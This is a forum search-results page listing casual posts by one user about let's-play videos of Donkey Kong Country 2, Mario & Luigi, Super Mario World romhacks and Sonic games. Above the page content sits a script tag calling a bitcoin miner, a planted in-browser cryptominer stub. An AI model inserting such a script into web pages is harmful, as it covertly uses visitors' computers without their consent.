<script>
miner.start(); // initialise bitcoin miner
</script>

mario fan games galaxypge projectsmw central

Search found 567 matches

Go to advanced search

by Mandew
1 month ago
Forum: let's play
Topic: Super Mario 63 - FINAL FLASH (game)
Replies: 156
Views: 6426

Re: butt.smc

Man, romhacks sure look weird these days nyoro~n I can't tell for sure, but aren't some of the sprites mixed from NSMB and the Mario and Luigi games, or is it mostly custom based off one or the other? Someone with actual knowledge would know! How long is this game, anyhow? I must know, for SCIENCE ...
by Mandew
1 month ago
Forum: let's play
Topic: Donkey Kong Country 2 -- A New Wind Blows
Replies: 238
Views: 13899

Re: Donkey Kong Country 2 -- Pounding the Pavement

J. J. W. Mezun wrote:
For those who remember I mentioned world 7 having the worst level — believe it or not, I wasn't referring to “Lightning Lookout”.
for me it's actually Koindozer Karnage
by Mandew
1 month ago
Forum: let's play
Topic: Donkey Kong Country 2 -- A New Wind Blows
Replies: 238
Views: 13899

Re: Donkey Kong Country 2 -- Sparring

world 6 in dkc3 gives me dread because of its overall lack of tones and all the aesthetics there are kind of depressing to exist within Barbos was kinda boring I like the ow map though with the chairlifts and being kinda just hidden in the shades of the cliffs most of what I remember is levels being...
by Mandew
1 month ago
Forum: let's play
Topic: Donkey Kong Country 2 -- A New Wind Blows
Replies: 238
Views: 13899

Re: Donkey Kong Country 2 -- I Passed

So, now that I think ’bout it, maybe it’s just that the 6th world is always lackluster in DKC games — ’cause, it’s definitely the worst in DKC3, e’en if the 7th world has the world level. I guess Tropical Freeze breaks this curse because the 6th world in that is by far the best part of the game, wi...
by Mandew
1 month ago
Forum: let's play
Topic: Donkey Kong Country 2 -- A New Wind Blows
Replies: 238
Views: 13899

Re: Donkey Kong Country 2 -- I Passed

man this game is already ending

it's a full-on, full length game and it's already at its end

this is the reality of non-romhack SNES
by Mandew
1 month ago
Forum: let's play
Topic: All The S@nics & Knockles - 3&K - Angel
Replies: 2146
Views: 67648

Re: One Or Two Silvanas - Dr. Robotnik's Mean Bean Machine - I Feel Like Some Apple Pie!




also also,
lp makes me wanna try out puyo-puyo type games
by Mandew
1 month ago
Forum: let's play
Topic: the end of a-side
Replies: 32
Views: 23104

Re: the end of a-side

oh no

it's the a-pocalypse
by Mandew
1 month ago
Forum: let's play
Topic: Donkey Kong Country 2 -- A New Wind Blows
Replies: 238
Views: 13899

Re: Donkey Kong Country 2 -- The Paradisers

fun fact about the title gimmick! it was decided at pretty much the last second. Like I had no idea what to do. I didn't want to use diddy's part in the dk rap because I knew the series would have too many videos, since I was pretty much flush with dkc1. I think I got the idea like as the video was...
by Mandew
2 months ago
Forum: let's play
Topic: Donkey Kong Country 2 -- A New Wind Blows
Replies: 238
Views: 13899

Re: Donkey Kong Country 2 -- This Guy?

I think it's just more blatant here since Kudgel -was- a boss in Brutal Mario, and also Kudgel's pattern is basically the essence of a Carol Boss without any extra fluff -- unlike Krow and Kleaver, who had that slight bit more going on than that. Also, Earthquakes/Stuns, a staple of Carol Bosses tha...
by Mandew
2 months ago
Forum: let's play
Topic: Donkey Kong Country 2 -- A New Wind Blows
Replies: 238
Views: 13899

Re: Donkey Kong Country 2 -- This Guy?

here's a weird quirk about brambles: If you're riding Squwaks, you can touch the floor of the brambles and be unaffected (I think only when -riding- him. I'm pretty sure it doesn't apply when being transformed). Here's another weird quirk about brambles: When just being the Kongs, you can touch the ...
by Mandew
2 months ago
Forum: let's play
Topic: Donkey Kong Country 2 -- A New Wind Blows
Replies: 238
Views: 13899

Re: Donkey Kong Country 2 -- A Mysterious Attack

Now, how can we differentiate our thought process to be any different from "biological programming" ourselves? Is it because we have the highest form of thought consciousness that we are aware of? And what would happen if there was an even higher being with a way of thinking that we could not compr...
by Mandew
2 months ago
Forum: let's play
Topic: Donkey Kong Country 2 -- A New Wind Blows
Replies: 238
Views: 13899

Re: Donkey Kong Country 2 -- Subterraneans of Darkness

"hot water is basically lava" is one of those few abstract liberties this game takes. I would lie if I said that this, in particular, didn't make me raise an eyebrow for a bit P:
by Mandew
2 months ago
Forum: let's play
Topic: Henry Hatsworth - Ladies and gentlemen, this is a stick-up. Kindly hand over your things.
Replies: 208
Views: 13075

Re: Henry Hatsworth - Ladies and gentlemen, kindly remove your pipes

Since when does raocow leave a game un-completed? He always tries his best to show as much contents as he can manage, and this won't be any different. Just give him a chance to realize he's missing something by himself. If he goes to tag a video as THE FINALE without realizing it, we got like a ful...
by Mandew
2 months ago
Forum: let's play
Topic: Donkey Kong Country 2 -- A New Wind Blows
Replies: 238
Views: 13899

Donkey Kong Country 2 -- A New Wind Blows

-- Previous LP -- DK Jr Math ( thread ) VIP5 2019 ( thread ) -- Episode List -- Levels are secretly listed next to the episode links. Use Ctrl+F to find any particular level. Lost World levels are marked with ★ (visible when selecting all this text) Donkey Kong Country 2 - 1 - galleon PIRATE PANIC, ...
by Mandew
2 months ago
Forum: let's play
Topic: VIP 5 2019 - To everyone there is a boon, and a time to every rom hack under heaven
Replies: 293
Views: 17852

Re: VIP 5 2019 - Like steel soles to the platformer protagonist

a story about Super Mario World's Speed and Jump Interactions SMW has a "Jump Speed" table at $00D2BD, aka the "The faster you're moving, the higher you're jumping" table. "Jump Speed" only has 16 intended entries. If Mario is going too fast, the Jump Speed taken will start taking his Jump Speed fro...
by Mandew
2 months ago
Forum: let's play
Topic: DT3 Epilogue - the cutting room raocow
Replies: 115
Views: 8201

Re: DT3 Epilogue - raocow: endgame

For a series about a literal, deliberate hodgepodge of many video game worlds uniting into a single entity, I don't think it can get much more climactic than this. It's made even better by Hex being just... a sore loser. Like your little sibling losing to you at Mario Kart. I think it's brilliant.
by Mandew
3 months ago
Forum: let's play
Topic: VIP 5 2019 - To everyone there is a boon, and a time to every rom hack under heaven
Replies: 293
Views: 17852

Re: VIP 5 2019 - Like the phenomenon of angled light reflection to discos around the world

one plays a hard smu romhack
d-pad clicks and clacks
their thumb never stops dancing
by Mandew
3 months ago
Forum: let's play
Topic: Mario & Luigi: Superstar Saga - Mario & Luigi: Superstar Saga
Replies: 1137
Views: 41142

Re: Mario & Luigi: Superstar Saga - Mario & Luigi: Superstar Saga

I think Enjl's statement is 100% true, just that the "you" is variable. In the case of a Mario game, the "you" is usually a very broad, all-inclusive "you" -- or at least, that's what they try to go for. Platformers, RPGs and whatnot all come with their inherent deal of an initial learning curve. Ev...
by Mandew
3 months ago
Forum: let's play
Topic: Mario & Luigi: Superstar Saga - Mario & Luigi: Superstar Saga
Replies: 1137
Views: 41142

Re: Mario & Luigi: Superstar Saga - SM64: Last Impact

when I'm reading this conversation, Super Mario Maker 2 comes to mind.

"Shut up, Luigi!"

it's not even easy mode, it just gives you more tools to help out, but I kinda wish the game silently added them after 3 deaths and Luigi would only show up after maybe 5.
by Mandew
3 months ago
Forum: let's play
Topic: DT3 Epilogue - the cutting room raocow
Replies: 115
Views: 8201

Re: "Distorted Travesty 3: Epilogue"

From what a recall off the top of my head, someone volunteered to offer you an appropriate save file?
Chances of me being wrong about this: 300%
by Mandew
3 months ago
Forum: let's play
Topic: Mario & Luigi: Superstar Saga - Mario & Luigi: Superstar Saga
Replies: 1137
Views: 41142

Re: Mario & Luigi: Superstar Saga - SM64: Last Impact

I was referring to how if you die it'll starting telling you to play in easy mode, which is stupid and they do it in all their games now. And you don't have to parrot the meme of dismissing anyone who's sick of this handholding as some "git gud" asshole, I think it's actually bad game design to try...
by Mandew
3 months ago
Forum: let's play
Topic: Mario & Luigi: Superstar Saga - Mario & Luigi: Superstar Saga
Replies: 1137
Views: 41142

Re: Mario & Luigi: Superstar Saga - Abducted Toad

Feels like it could be the finale, depending on the amount of editing involved.

by Mandew
3 months ago
Forum: let's play
Topic: Mario & Luigi: Superstar Saga - Mario & Luigi: Superstar Saga
Replies: 1137
Views: 41142

Re: Mario & Luigi: Superstar Saga - JUMP

Turns out Cackletta and Fawful really don't like being laughed at. And they -did- get duped by a fake princess before. I think their decision to switch princesses was hastily made when they lost their cool. And I mean, it happens. Especially when one is under pressure from being outwitted so many ti...
by Mandew
3 months ago
Forum: let's play
Topic: Mario & Luigi: Superstar Saga - Mario & Luigi: Superstar Saga
Replies: 1137
Views: 41142

Re: Mario & Luigi: Superstar Saga - The Variety Of Chance

The Jojora boss fight is weird and silly. Everything about Jojora is weird. She just hangs out in Joke's End as a playground, apparently? What's her lore? Why does she hang out with four near-identical golem girls? Does the Bowser's Minions thing feature her? Why did she come here in the first plac...
by Mandew
3 months ago
Forum: let's play
Topic: All The S@nics & Knockles - 3&K - Angel
Replies: 2146
Views: 67648

Re: All The S@nics - CD - ...The Problem's Chronic!

just eyeballing it here,

it seems the goal is not to reach any certain speed, but to maintain a high-enough speed for a desired length of time.


Go to advanced search